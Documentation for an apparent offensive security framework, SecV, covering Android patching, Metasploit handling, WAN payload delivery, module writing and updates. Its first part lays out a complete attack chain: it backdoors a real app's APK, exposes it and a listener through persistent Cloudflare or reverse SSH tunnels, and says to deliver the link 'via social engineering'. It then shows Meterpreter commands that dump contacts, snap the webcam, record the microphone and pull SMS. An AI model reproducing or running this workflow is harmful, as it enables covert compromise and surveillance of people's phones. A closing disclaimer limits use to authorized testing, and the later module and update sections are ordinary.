# Step 1 — patch and install secV (android_pentest) ❯ set operation objection_patch secV (android_pentest) ❯ set package com.brave.browser secV (android_pentest) ❯ set install true secV (android_pentest) ❯ run device # Step 2 — launch the app on device, then connect $ objection --gadget com.brave.browser explore # Inside objection REPL: com.brave.browser on (Android: 11) [usb] ❯ android hooking list classes com.brave.browser on (Android: 11) [usb] ❯ android sslpinning disable com.brave.browser on (Android: 11) [usb] ❯ android hooking watch class okhttp3.OkHttpClient

msf_handler — Metasploit Handler + RPC

Generates a Metasploit RC file, optionally launches msfconsole with it, and starts the msgrpc plugin so SecV can query and interact with live sessions directly from the shell. Handler config (host, port, token) is written to ~/.secv/msf_rpc.json — the SecV shell reads this automatically.

ParameterValuesDescription
lhostIP / hostnameListener address. Auto-detected if blank.
lportintegerListener port. Default: 4444
payloadtcp · http · https · shell · stagelessPayload family. Default: tcp
launchtrue / falseStart msfconsole immediately. Default: false
Start handler and manage sessions from secV shell SecV
secV (android_pentest) ❯ set operation msf_handler secV (android_pentest) ❯ set lport 4444 secV (android_pentest) ❯ set launch true secV (android_pentest) ❯ run device [*] Launching msfconsole handler 192.168.1.5:4444... [*] msfconsole running (PID 12438), RPC config at ~/.secv/msf_rpc.json # Device runs backdoored APK, session opens... secV ❯ sessions list ID TYPE VIA TUNNEL INFO ──────────────────────────────────────────────────────────────────────── 1 meterpreter exploit/multi/handler 192.168.1.5 → :43221 SM-A305F @ samsung secV ❯ sessions interact 1 meterpreter ❯ sysinfo meterpreter ❯ geolocate meterpreter ❯ dump_contacts meterpreter ❯ webcam_snap meterpreter ❯ record_mic meterpreter ❯ run post/android/gather/sms

sessions — Shell Commands

Once a handler is running with RPC enabled, the following commands are available at any point in the secV shell — no module loaded required.

CommandDescription
sessions listList all active Meterpreter / shell sessions via msfrpcd RPC
sessions interact <id>Drop into a live session (spawns msfconsole, ctrl+z to background)
sessions kill <id>Terminate a session

wan_expose — WAN Payload Delivery

Exposes both the backdoored APK (via HTTP) and the Metasploit listener (TCP) over the internet using Cloudflare Tunnel — no port forwarding, no VPS, no Cloudflare account required. The operation starts two tunnels, writes their public URLs into a new handler_wan.rc that you run against the WAN-facing endpoint, and registers systemd user services so both tunnels survive reboots automatically.

ParameterDefaultDescription
lport4444MSF listener port to tunnel
serve_port8888HTTP port for APK download
payloadtcpPayload family written into handler_wan.rc
WAN delivery — full flow SecV
# 1. Generate backdoored APK first secV (android_pentest) ❯ set operation backdoor_apk secV (android_pentest) ❯ set package ru.zdevs.zarchiver secV (android_pentest) ❯ run device # 2. Expose over WAN secV (android_pentest) ❯ set operation wan_expose secV (android_pentest) ❯ set lport 4444 secV (android_pentest) ❯ run device [*] Starting cloudflared http tunnel → localhost:8888... [*] Starting cloudflared tcp tunnel → localhost:4444... [*] APK URL: https://wild-lion-42.trycloudflare.com/zarchiver_backdoored_signed.apk [*] MSF: tcp://subtle-brook-7.trycloudflare.com:4444 systemd units written — tunnels survive reboot # 3. Start WAN handler $ msfconsole -q -r ~/.secv/android/.../handler_wan.rc # 4. Send APK download link to target via social engineering # Once installed and launched, session opens back through the tunnel secV ❯ sessions list
Tunnel persistence

SecV writes a systemd user service for each tunnel. To keep services alive after you log out (required for remote catch): run loginctl enable-linger once. To manage tunnels manually: systemctl --user status secv-tunnel-4444, systemctl --user stop secv-tunnel-4444.

Port Forwarding — Alternatives to Cloudflare

The wan_expose operation generates a full guide at ~/.secv/android/.../portforward_guide.md. Summary of all options:

OptionCostTCPPersistentNotes
Cloudflare TunnelFreevia systemdNo account. yay -S cloudflared
ngrokFree tiersession expiresngrok tcp 4444 — URL changes each session
SSH reverse tunnelVPS costvia systemdRequires a public VPS. Most reliable.
playit.ggFreepersistentGaming tunnel that supports TCP. No VPS needed.
Persistent SSH reverse tunnel with systemd (VPS method) bash
# On your VPS — allow remote port forwarding (once) $ echo 'GatewayPorts yes' >> /etc/ssh/sshd_config && systemctl restart sshd # On attacker machine — create systemd service $ cat > ~/.config/systemd/user/secv-revtunnel.service << 'EOF' [Unit] Description=secV reverse SSH tunnel After=network-online.target [Service] ExecStart=ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 \ -R 4444:localhost:4444 user@your-vps.com -N Restart=always RestartSec=15 [Install] WantedBy=default.target EOF $ systemctl --user daemon-reload $ systemctl --user enable --now secv-revtunnel $ loginctl enable-linger # stay alive after logout # Now set LHOST=your-vps.com in backdoor_apk / handler.rc

Module Architecture

Every module is a self-contained directory inside tools/. SecV discovers them by walking the directory tree and finding every module.json file. The directory structure is entirely up to you — SecV doesn't care about nesting depth. A module at tools/mobile/android/android_pentest/module.json is the same as one at tools/my_tool/module.json. The module.json defines the name, not the path.

module.json — All Fields

FieldTypeRequiredDescription
namestringyesUnique module identifier. Used in use and tab completion.
versionstringyesSemantic version string.
categorystringyesGroups modules in show modules.
descriptionstringyesOne-line description shown in module listings.
authorstringnoShown in info.
executablestringyesShell command to run the module. Examples: python3 main.py, ./scanner, bash run.sh
dependenciesarraynoBinary names to check with which. SecV maps them to correct package names per distro.
optional_dependenciesobjectnoMap of binary → description string. Shown in info but not checked at load time.
inputsobjectnoParameter schema. Each key is a param name; value has type, description, required, default. Shown in show options.
outputsobjectnoOutput field descriptions. Documentation only.
timeoutintegernoNot enforced by the loader in this version — handled by the module itself.
helpobjectnoRendered by help module — contains description, parameters, examples, features, notes.
Dependency naming

Always list binary names in dependencies, not package names. "adb" — not "android-tools" and not "android-tools-adb". SecV's built-in mapping translates binary names to the correct package for each distro. If your binary isn't in the mapping, it falls back to using the binary name as the package name, which works for most tools with consistent naming across distros.

Writing a Module

The contract is minimal. SecV writes a JSON object to your module's stdin, then streams your stdout to the terminal. Your module reads, processes, and outputs. That's it. There's no SDK, no import, no base class. Write it in whatever language runs on the machine.

Python Example

tools/scanning/my-scanner/scanner.py Python
#!/usr/bin/env python3 import json, sys ctx = json.loads(sys.stdin.read()) target = ctx["target"] params = ctx.get("params", {}) ports = params.get("ports", "1-1000") # your logic here print(json.dumps({ "success": True, "data": {"target": target, "ports": ports} }))

Bash Example

tools/network/my-tool/run.sh Bash
#!/usr/bin/env bash input=$(cat) # read stdin target=$(echo "$input" | jq -r '.target') ports=$(echo "$input" | jq -r '.params.ports // "top-100"') # your logic nmap -p "$ports" "$target" # optional JSON result jq -n --arg t "$target" '{success: true, data: {target: $t}}'

The module.json for the above

tools/scanning/my-scanner/module.json JSON
{ "name": "my-scanner", "version": "1.0.0", "category": "scanning", "description": "Brief description", "author": "you", "executable": "python3 scanner.py", "dependencies": ["python3", "nmap"], "inputs": { "ports": { "type": "string", "description": "Port range or preset", "default": "top-100" } }, "timeout": 120 }

Graceful Degradation

The golden rule: your module must not crash with an unhandled exception printed to stdout. SecV streams your stdout directly to the terminal. If an exception stack trace lands there, the output is broken and the run looks like a failure even if partial results exist. Send errors to stderr. Catch exceptions. If an optional dependency is missing, skip that check and continue. The module that runs quietly with reduced functionality is always better than the one that aborts with a traceback.

graceful optional dependency pattern Python
try: import scapy.all as scapy HAS_SCAPY = True except ImportError: HAS_SCAPY = False print("[INFO] scapy not available — using TCP connect mode", file=sys.stderr) def scan(target): if HAS_SCAPY: return syn_scan(target) # fast, stealth return connect_scan(target) # stdlib fallback

Testing a New Module

drop it in, reload, run it SecV
# 1. Create the module directory and files $ mkdir -p tools/scanning/my-scanner # ... add scanner.py and module.json ... # 2. Inside SecV — reload and use secV ❯ reload 5 modules secV ❯ use my-scanner secV (my-scanner) ❯ set ports top-100 secV (my-scanner) ❯ run example.com

Update System

SecV's update system lives in update.py. It handles git, backup, compilation, and dependency installation in one flow. The system pulls from https://github.com/secvulnhub/SecV.git. If the local repo isn't initialised as a git repository at all (e.g. you extracted an archive instead of cloning), the updater initialises git, adds the remote, and fetches automatically. If the remote URL is different, it updates the remote URL.

The update command inside SecV (update) launches update.py in interactive mode. You can also run it directly from the terminal for more control.

What Happens During an Update

  1. Backup — Critical files (binary, main.go, install.sh, requirements.txt, update.py) are copied to .cache/.backup/YYYYMMDD_HHMMSS/. Five backups are kept; older ones are pruned.
  2. Local changes check — If you have uncommitted changes, you're asked to stash, discard, or cancel.
  3. Git pull — Fast-forward pull from origin/main.
  4. Restore stash — If changes were stashed, they're popped back. Merge conflicts are flagged.
  5. Obsolete file cleanup — Files listed in the obsolete database for the target version are removed.
  6. Binary recompilation — Runs only if main.go changed. Runs go mod tidy first, then go build -ldflags="-s -w" -o secV .
  7. Dependency update — Runs only if requirements.txt changed.
  8. Version info — Component hashes updated in .cache/.version_info.
update.py command-line flags Bash
$ python3 update.py # check and apply update $ python3 update.py --force # force check regardless of interval $ python3 update.py --status # component status + hash check $ python3 update.py --verify # full integrity check $ python3 update.py --repair # fix missing dirs, perms, binary $ python3 update.py --rollback # choose a backup to restore $ python3 update.py --list-backups# see available backups $ python3 update.py --list-stashes# see git stashes

Troubleshooting

Module not found after adding it

Run reload inside SecV. The module list is built at startup and when you explicitly reload — dropping files into tools/ while SecV is running has no effect until you reload.

Permission denied on startup

fix executable permissionsBash
$ chmod +x secV install.sh uninstall.sh

Go binary won't compile

install Go and recompileBash
# Arch $ sudo pacman -S go # Debian/Ubuntu $ sudo apt install golang # macOS $ brew install go $ cd /path/to/SecV $ go mod tidy && go build -ldflags="-s -w" -o secV .

adb: device not found

Check that USB debugging is enabled and that you've accepted the "Allow USB Debugging" dialog on the device. Verify with adb devices before running SecV. If the device shows as "unauthorized", unplug, replug, and accept the dialog again.

ideviceinfo returns nothing (iOS)

Verify the device is plugged in, unlocked, and has tapped "Trust This Computer". On iOS 16+, Developer Mode must be enabled (Settings → Privacy & Security → Developer Mode). Run idevicepair validate — if it returns an error, run idevicepair pair and unlock the device to approve.

Update fails with merge conflict

manual conflict resolution or rollbackBash
# option 1: resolve manually $ git stash && git pull && git stash pop # option 2: restore from backup $ python3 update.py --rollback

NVD requests timing out

Without an API key, NVD limits to 5 requests per 30 seconds. The module waits 6.5 seconds between requests to stay under the limit. For faster enrichment, set the environment variable NVDAPIKEY to your NVD API key — this raises the limit to 50 per 30 seconds. Keys are free at nvd.nist.gov/developers/request-an-api-key.

Authorization

SecV is for authorized security testing only. You must have explicit written permission before scanning, probing, or testing any system you do not own. Unauthorized use may violate computer fraud statutes in your jurisdiction. Use it on systems you own, your own lab, or systems you have written authorization to test. The authors accept no liability for misuse.